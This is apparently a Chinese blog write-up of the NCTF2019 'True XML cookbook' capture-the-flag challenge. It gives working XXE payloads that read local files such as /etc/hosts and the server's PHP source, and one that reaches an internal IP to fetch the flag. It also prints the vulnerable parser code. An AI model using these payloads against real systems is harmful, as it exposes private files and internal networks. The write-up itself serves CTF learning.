[NCTF2019]True XML cookbook(xxe技巧)

前言

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

题目

进到去跟fack那个题目差不多,直接用那里的payload看看

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "file:///flag">
 ]>
<user><username>&abc;</username><password>123456</password></user>

在这里插入图片描述
发现不能读,但是报错提示里面发现本页面的名字doLogin.php,试试读源码
在这里插入图片描述
居然能读!

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

里面没看到什么,只能去看看wp,发现一些很匪夷所思的操作,先是读取/etc/hosts
在这里插入图片描述
居然也能读,那多半说明是没有/flag这个文件才报的错,但更看不懂的来了,它必须访问这边显示的10.44.214.9的下一个ip,即10.44.214.10这个ip才能获取到flag,而且XXE居然能用来访问内网ip…

<?xml version="1.0"?>
<!DOCTYPE a[
  <!ENTITY abc SYSTEM "http://10.44.214.10">
  ]>
<user><username>&abc;</username><password>123456</password></user>

在这里插入图片描述
总的来说,主机上面没有flag,需要去看hosts文件看看内网的主机是否有flag,这个操作学到了

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值